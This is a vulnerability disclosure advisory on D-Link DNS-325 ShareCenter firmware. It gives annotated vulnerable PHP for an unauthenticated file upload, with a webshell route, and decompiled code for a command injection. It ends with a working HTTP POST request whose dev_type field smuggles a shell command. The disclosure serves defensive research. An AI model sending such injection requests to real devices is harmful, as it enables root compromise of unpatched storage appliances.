D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities

## Table of contents * 00 - Introduction * 00.1 Background * 01 - Unrestricted File Upload * 01.1 - Vulnerable code analysis * 01.2 - Remote exploitation * 02 - Command Injection * 02.1 - Vulnerable code analysis * 02.2 - Remote exploitation * 03 - Credit * 04 - Proof of concept * 05 - Solution * 06 - Contact information ### 00 - Introduction The purpose of this article is to detail the research that I have recently completed regarding the D-Link DNS 325 ShareCenter. #### 00.1 - Background D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to use solution for accessing, sharing and backing up your important data. ### 01 - Unrestricted file upload The DNS-325 is vulnerable to the same file upload issue as the DNS-320L. The vulnerable code can be found within the following file: `/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php` The root of the problem here is due to the misuse and misunderstanding of the PHP gethostbyaddr() function used within PHP, by the developer of this particular piece of code. From the PHP manual this functions return values are defined as the following for gethostbyaddr(): "Returns the host name on success, the unmodified ip_address on failure, or FALSE on malformed input." With a brief overview of the problem, let's have a look at the offending code in order to get a better understanding of what is going on with this particular vulnerability. #### 01.1 - Vulnerable code analysis Below is the code from the vulnerable "multi_uploadify.php" script. You can see that we have annoted the code to explain what is happening. #### BUG 01: Here the attacker controlled "Host" header is used to define the remote auth server. This is by itself really bad, as an attacker could easily just specify that the host be the IP address of a server that they are in control of. But, if we send it an invalid "Host" header it will just simply return FALSE as defined in the PHP manual. ``` $ip = gethostbyaddr($_SERVER['HTTP_HOST']); $name = $_REQUEST['name']; $pwd = $_REQUEST['pwd']; $redirect_uri = $_REQUEST['redirect_uri']; //echo $name ." ".$pwd." ".$ip; ``` #### BUG 02: At this point, this request should always fail. The $result variable should now be set to FALSE. ``` $result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?cmd=1&name=".$name."=&pwd=".$pwd ),"" )); ``` #### BUG 03: Here an empty haystack is searched, and thus strstr() returns a value of FALSE. ``` $result_1 = strstr($result,"0"); $result_1 = substr ($result_1, 0,28); ``` #### BUG 04: The strncmp() call here is a strange one. It looks for a specific login failure. So, it never accounts for when things go wrong or slightly unexpected. As a result this "if" statement will always be skipped. ``` if (strncmp ($result_1,"0",28) == 0 ) //if (strstr($result,"0")== 0 ) { header("HTTP/1.1 302 Found"); header("Location: ".$redirect_uri."?status=0"); exit(); } ``` #### BUG 05: At this point all checks have been passed, and an attacker can use this issue to upload any file to the server that they want. The rest of the source code was omitted for the sake of breivity, but it just handles the file upload logic once the user passes the authentication checks. #### 01.2 - Remote exploitation Exploiting this issue to gain a remote shell as root is a rather trivial process. All an attacker has to do is send a post request that contains a file to upload using the parameter "Filedata[0]", a location for the file to be upload to which is specified within the "folder" parameter, and of course a bogus "Host" header. We have written a Metasploit module to exploit this issue. The module will use this vulnerability to upload a PHP webshell to the "/var/www/" directory. Once uploaded, the webshell can be executed by requesting a URI pointing to the backdoor, and thus triggering the payload. ### 02 - Command Injection There are a number of issues with the CGI's contained within the DNS-325 file structure. The issues that we came across over and over were lack of authentication, as well as command injection. We will examine one of these issues, and leave the others as an excercise to the reader. #### 02.1 - Vulnerable code analysis The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight forward command injection issue when calling the "cgi_set_airplay_device" function. ``` size_t cgi_set_airplay_device() { int v0; // r4@3 size_t v1; // r0@3 const char *v2; // r0@3 FILE *v3; // r5@5 char *v4; // r0@6 int v5; // r4@7 signed int v6; // r6@7 size_t result; // r0@13 FILE *v8; // r4@11 int v9; // [sp+10h] [bp-C84h]@1 int v10; // [sp+410h] [bp-884h]@1 int v11; // [sp+610h] [bp-684h]@1 int v12; // [sp+810h] [bp-484h]@1 char s; // [sp+A10h] [bp-284h]@1 char v14; // [sp+B10h] [bp-184h]@1 char v15; // [sp+B50h] [bp-144h]@1 char v16; // [sp+B90h] [bp-104h]@1 signed int v17; // [sp+B94h] [bp-100h]@2 signed int v18; // [sp+B98h] [bp-FCh]@2 signed int v19; // [sp+B9Ch] [bp-F8h]@2 int v20; // [sp+BA0h] [bp-F4h]@2 __int16 v21; // [sp+BA4h] [bp-F0h]@15 char v22; // [sp+BA6h] [bp-EEh]@15 char v23; // [sp+BD0h] [bp-C4h]@1 char v24; // [sp+C10h] [bp-84h]@1 int v25; // [sp+C50h] [bp-44h]@1 int v26; // [sp+C54h] [bp-40h]@1 char dest[4]; // [sp+C58h] [bp-3Ch]@1 int v28; // [sp+C5Ch] [bp-38h]@1 int v29; // [sp+C60h] [bp-34h]@1 int *v30; // [sp+C64h] [bp-30h]@1 memset(&s, 0, 0x100u); memset(&v12, 0, 0x200u); memset(&v24, 0, 0x40u); memset(&v23, 0, 0x40u); memset(&v11, 0, 0x200u); v30 = 0; memset(&v9, 0, 0x400u); *(_DWORD *)dest = 0; v28 = 0; memset(&v10, 0, 0x200u); v25 = 0; v26 = 0; memset(&v16, 0, 0x40u); memset(&v15, 0, 0x40u); memset(&v14, 0, 0x40u); cgiFormString("dev_name", &s, 256); cgiFormString("dev_type", &v24, 64); cgiFormString("dev_pw", &v23, 64); cgiFormString("type", &v25, 8); v30 = &v12; v29 = 512; printf_out("dev_name=[%s]\n", &s); printf_out("dev_type=[%s]\n", &v24); printf_out("dev_pw=[%s]\n", &v23); printf_out("type=[%s]\n", &v25); if ( !strcmp((const char *)&v25, "photo") ) { LOBYTE(v20) = 0; *(_DWORD *)&v16 = 1886221359; v17 = 1919508783; v18 = 2036427888; v19 = 1819113518; } else { *(_DWORD *)&v16 = 1886221359; v17 = 'ria/'; v18 = 2036427888; v19 = 1685414239; v20 = 2016309097; v22 = 0; v21 = 'lm'; } v0 = 0; sprintf((char *)&v11, "rm -f %s", &v16); system((const char *)&v11); v1 = strlen(&s); v2 = (const char *)escape_label(&s, v1, &v30, &v29); cgi_api_SpecSymbol2BackSlash((char *)&v9, v2); sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/ null", &v9, &v24, &v23); printf_out("[%s]\n", &v11); system((const char *)&v11); printf_out("filename[%s]\n", &v16); while ( 1 ) { ++v0; v3 = (FILE *)fopen64(&v16, "r"); if ( v3 ) break; printf_out("wait[%d]\n"); sleep(1u); if ( v0 == 30 ) { v6 = (signed int)v3; goto LABEL_9; } } fgets(&v15, 512, v3); fgets(&v15, 512, v3); fgets(&v15, 512, v3); fgets(&v14, 512, v3); v4 = index(&v14, 62); if ( v4 ) { v5 = (int)(v4 + 1); v6 = 1; *index(v4 + 1, 60) = 0; strcpy(dest, v4 + 1); printf_out("res[%s]\n", v5); } else { v6 = 0; } fclose(v3); LABEL_9: sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25); if ( dest[0] == 48 && !dest[1] ) { v8 = (FILE *)fopen64(&v16, "w+"); fwrite("", 1u, 0x26u, v8); sprintf( (char *)&v10, "%s", &s, &v24, &v23); fputs((const char *)&v10, v8); fclose(v8); } cgiHeaderContentType("text/xml"); fwrite("", 1u, 0x26u, (FILE *) cgiOut); if ( v6 == 1 ) { result = fprintf((FILE *)cgiOut, "%s", dest); } else { system("kill `pidof airplay_daemon`"); result = fwrite("timeout", 1u, 0x25u, (FILE *)cgiOut); } return result; } ``` As we can see in the above psuedo code parameters taken from form input are use directly within a system call without being sanitized. This can be leveraged by an attacker to execute arbitrary commands as root. Authentication is not required to exploit this issue. #### 02.2 - Remote exploitation Exploiting this issue is trivial. Authentication is not required to successfully exploit this issue and gain a remote root shell. ``` POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 62 cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/gulftech;" ``` Simply sending a post request like the one above will successfully create a file named "gulftech" in the /tmp directory as root. ### 03 - Credit James Bercegay GulfTech Research and Development ### 04 - Proof of concept We strive to do our part to contribute to the security community. Metasploit modules for issues outlined in this paper can be found online. ### 05 - Solution D-Link were notified of these issues June of last year. No update has been released publicly.